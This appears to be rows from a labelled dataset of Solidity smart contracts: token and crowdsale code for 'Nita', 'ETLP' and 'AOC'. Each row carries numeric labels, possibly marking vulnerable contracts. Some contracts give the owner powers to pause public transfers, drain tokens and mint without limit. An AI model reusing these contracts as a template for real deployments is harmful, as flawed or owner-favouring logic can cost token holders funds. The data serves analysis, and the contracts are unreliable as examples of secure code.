uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Joash";
string public constant TOKEN_SYMBOL = "Nita";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xc5dC671E6b171e5db9E48F4971e9D26E9831834C;
uint public constant START_TIME = 1544878800;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[3] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0)];
uint[3] memory weiRaisedEndsBounds = [uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000)];
uint64[3] memory timeStartsBounds = [uint64(1544878800),uint64(1550667600),uint64(1558094400)];
uint64[3] memory timeEndsBounds = [uint64(1550667600),uint64(1558094400),uint64(1567166395)];
uint[3] memory weiRaisedAndTimeRates = [uint(300),uint(150),uint(50)];
for (uint i = 0; i < 3; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[4] memory weiAmountBounds = [uint(100000000000000000000000),uint(1001000000000000000000),uint(1000000000000000000000),uint(20000000000000000000)];
uint[4] memory weiAmountRates = [uint(0),uint(150),uint(0),uint(70)];
for (uint j = 0; j < 4; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(2000 * TOKEN_DECIMAL_MULTIPLIER, 0xc5dC671E6b171e5db9E48F4971e9D26E9831834C, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1567166400)
CappedCrowdsale(500000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[3] memory addresses = [address(0xc7a1bd7a0a7ef23cb2544641cf6d7d14157a71bb),address(0xc5dc671e6b171e5db9e48f4971e9d26e9831834c),address(0x0dd4dffe4bcd2b1844a5326807670e25ed9e387b)];
uint[3] memory amounts = [uint(500000000000),uint(400000000000),uint(2000000000000)];
uint64[3] memory freezes = [uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 500000000000000000;
return super.hasClosed() || remainValue;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 500000000000000000);
require(msg.value <= 100000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 1,875 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = true;
bool public pausedOwnerAdmin = false;
address public admin;
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SunPowerToken is PausableToken {
string public constant name = "以太令牌";
string public constant symbol = "ETLP";
uint8 public constant decimals = 18;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function SunPowerToken( address _admin, uint _totalTokenAmount )
{
admin = _admin;
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) onlyOwner {
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
} | 1 | 2,832 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AOCToken is StandardToken {
string public name = "AOCToken";
string public symbol = "AOC";
uint8 public decimals = 12;
uint256 public constant INITIAL_SUPPLY = 5000000000;
function AOCToken() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
} | 1 | 4,274 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.